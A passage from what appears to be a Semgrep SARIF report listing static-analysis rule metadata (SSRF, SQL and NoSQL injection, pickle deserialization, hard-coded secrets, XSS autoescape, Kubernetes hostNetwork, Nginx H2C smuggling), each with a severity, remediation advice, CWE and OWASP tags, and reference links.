python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://dispatchhttp.org/Dispatch.html](https://dispatchhttp.org/Dispatch.html)\n","text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","id":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","name":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","id":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","name":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"help":{"markdown":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2)\n","text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf","id":"java.servlets.security.tainted-ssrf.tainted-ssrf","name":"java.servlets.security.tainted-ssrf.tainted-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf.tainted-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"help":{"markdown":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session)\n - [https://en.wikipedia.org/wiki/Session_poisoning](https://en.wikipedia.org/wiki/Session_poisoning)\n","text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session","id":"php.lang.security.injection.tainted-session.tainted-session","name":"php.lang.security.injection.tainted-session.tainted-session","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-session.tainted-session"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","id":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","name":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"help":{"markdown":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"helpUri":"https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","id":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","name":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"help":{"markdown":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n","text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","id":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","name":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","id":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","name":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection","id":"java.lang.security.audit.el-injection.el-injection","name":"java.lang.security.audit.el-injection.el-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.el-injection.el-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint","id":"rust.rocket.nosql.mongodb-taint.mongodb-taint","name":"rust.rocket.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string","id":"java.spring.security.injection.tainted-html-string.tainted-html-string","name":"java.spring.security.injection.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","id":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","name":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","id":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","name":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","id":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","name":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli)\n - [https://www.npmjs.com/package/pg](https://www.npmjs.com/package/pg)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli","id":"javascript.express.pg.express-pg-sqli.express-pg-sqli","name":"javascript.express.pg.express-pg-sqli.express-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.pg.express-pg-sqli.express-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate)\n - [https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345](https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345)\n","text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","id":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","name":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","id":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","name":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"help":{"markdown":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","id":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","name":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","properties":{"precision":"very-high","tags":["CWE-406: Insufficient Control of Network Message Volume (Network Amplification)","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"help":{"markdown":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 